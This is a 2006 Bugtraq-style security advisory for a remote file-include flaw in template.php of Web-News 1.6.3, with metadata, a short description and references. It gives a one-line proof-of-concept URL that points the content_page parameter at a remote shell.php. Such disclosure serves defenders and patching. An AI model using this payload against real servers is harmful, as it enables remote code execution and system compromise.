Web-News Template.PHP Remote File Include Vulnerability

Bugtraq ID:	20166
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 24 2006 12:00AM
Updated:	Sep 25 2006 06:36PM
Credit:	Drago84 is credited with the discovery of this vulnerability.
Vulnerable:	Web-News Web-News 1.6.3
Not Vulnerable:

Web-News Template.PHP Remote File Include Vulnerability

Web-News is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.6.3 is vulnerable to this issue. Previous versions may be affected as well.

Web-News Template.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/webnews/template.php?content_page=http://www.example.com/shell.php?

Web-News Template.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Web-News Template.PHP Remote File Include Vulnerability

References:

• Web-News <= 1.6.3 (template.php) Remote File Include Vulnerability (Drago84)
  
• Web-News HomePage (Web-News)